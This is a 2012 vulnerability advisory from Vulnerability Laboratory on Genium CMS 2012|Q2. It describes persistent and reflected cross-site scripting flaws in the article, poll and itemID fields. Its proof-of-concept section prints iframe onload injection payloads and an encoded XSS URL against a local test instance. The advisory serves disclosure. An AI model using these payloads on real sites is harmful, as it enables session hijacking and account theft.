Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (Rem0ve)VULNERABLE:517
Document Title:
===============
Genium CMS 2012|Q2 - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=517
Release Date:
=============
2012-05-01
Vulnerability Laboratory ID (VL-ID):
====================================
517
Common Vulnerability Scoring System:
====================================
5
Product & Service Introduction:
===============================
Durch den Einsatz von Genium CMS können Sie Ihre Homepage schnell und unabhängig von Spezialisten betreuen.
Kostengünstig, schnell und flexibel. Das Erstellen von Internetseiten durch eine Webagentur kostet viel
Geld und ist in der Regel nicht von heute auf morgen realisierbar. Mit Genium CMS sparen Sie Kosten und
verkürzen Ihre Kommunikationswege drastisch. Bei Aktualisierungen müssen Sie nicht darauf warten bis Ihr
EDV-Techniker Zeit hat neue Inhalte online zu stellen. Änderungen, Korrekturen und Ergänzungen realisieren
Sie innert Minuten! Um Ihre Homepage aktiv zu nutzen, ist es unumgänglich, dass Sie schnell auf neue Situationen
reagieren können. Nur so ist eine direkte Kommunikation mit Ihren Kunden möglich. Die Aktualität Ihrer Homepage
ist ein Schlüsselfaktor für einen erfolgreichen Webauftritt.
(Copy of the Vendor Homepage: http://cms.genium.ch )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in Geniums Content Management System 2012|Q2.
Vulnerability Disclosure Timeline:
==================================
2012-05-01: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
1.1
Multiple persistent input validation vulnerabilities are detected in Geniums Content Management System 2012|Q2.
The bugs allow remote attackers to implement/inject malicious script code on the application-side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action. The bugs are located on the article listing & pool
fields of the application which allows to execute code out of the main genium application context.
Vulnerable Module(s):
[+] Article Listing & Add [SELL] - Artikelnummer, Bezeichnung & Preis
[+] Umfrage - Questions & Answers
Picture(s):
../1.png
../2.png
1.2
Multiple non persistent cross site scripting vulnerabilities are detected in Geniums Content Management System 2012|Q2.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing
& client-side content request manipulation.
Vulnerable Module(s):
[+] itemID
[+] menuItemID
Picture(s):
../3.png
../4.png
Proof of Concept (PoC):
=======================
1.1
The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action.
For demonstration or reproduce ...
URL: http://127.0.0.1:8080/genium/kontakt-1.php5
Module: Article Listing & Add [SELL] - Artikelnummer, Bezeichnung & Preis
<form name="formArticle6" method="post" action="index.php5?site=basket"><input name="artikelnummer" value=""
type="hidden"><iframe src="a" onload='alert("VL")' <"=""><input name="bezeichnung" type="hidden" value="&
quot;><iframe src=a onload=alert("VL") <"><input name="preis"
type="hidden" value=""><iframe src=a onload=alert("VL") <"/><input name="stamp" type="hidden"
value="1334501982"/><table border = "0" width="auto" CELLPADDING=0 CELLSPACING=0><tr><
td width="100%"><strong><nobr>Fr. 0.00 </nobr></strong>
</td>
URL: http://127.0.0.1:8080/genium/galerie.php5#
Module: Umfrage - Questions & Answers
<p class="title2">"><iframe src="a" onload='alert("VL")' <<="" p="">
<FORM ACTION="galerie.php5#2" METHOD=post NAME=pollform>
<TABLE WIDTH=50% cellspacing="0" cellpadding="0" border="0">
<TR>
<TD>
<input name='pollsModuleID' type='hidden' size='50' maxlength='50' value='2'>
<input type=radio name=question value='1'/>">
<iframe src=a onload=alert("VL") <<br><
input type=radio name=question value='2'/>"><iframe src=a onload=alert("VL") <<br>
1.2
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or high required user inter action.
For demonstration or reproduce ...
http://127.0.0.1:8080/genium/galerie.php5?moduleID=1&itemID=%22%3E%3Ciframe%20src=a%20onload=
alert%28%22VL%22%29%20%3C&menuItemID=-1&moduleRenderType=solo
Review: Listing
<a href="index.php5?site=basket" class="menX">Warenkorb (1)</a><a class="menX" href="index.php5
?site=basketform">Bestellformular</a><a href="/galerie.php5?moduleID=1&itemID=%22%3E%3Ciframe%20src=
a%20onload=alert(%22VL%22)%20%3C&menuItemID=-1&moduleRenderType=solo&print" class="menX" target="_blank" >Drucken</a>
... or
<a class="xmenu" href="#" onclick="window.open('./xyloz/modules/photoalbum/photoalbum.editor.module.php5?
func=itemEdit&moduleXMLFile=1290873449_photoalbum.xml&itemID="><iframe src=a onload=alert("VL") <','mywindow',
'resizable=yes,scrollbars=off,width=740,height=550')" onmouseover='addValue("menu927297");' onmouseout='
subValue("menu927297");'><img src="./xyloz/images/xedit.gif" class="img" border="0"> bearbeiten</a>
<a class="xmenu" href="#" onclick="window.open('./xyloz/modules/photoalbum/photoalbum.editor.module.php5?
func=itemDelete&moduleXMLFile=1290873449_photoalbum.xml&itemID="><iframe src=a onload=alert("VL")
<&site=galerie','mywindow','resizable=yes,scrollbars=off,width=740,height=550')" onmouseover='addValue("menu927297");'
onmouseout='subValue("menu927297");'><img src="./xyloz/images/xdel.gif" class="img" border="0"> löschen</a>
</div>
Security Risk:
==============
1.1
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
1.2
The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (Rem0ve)
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=========================
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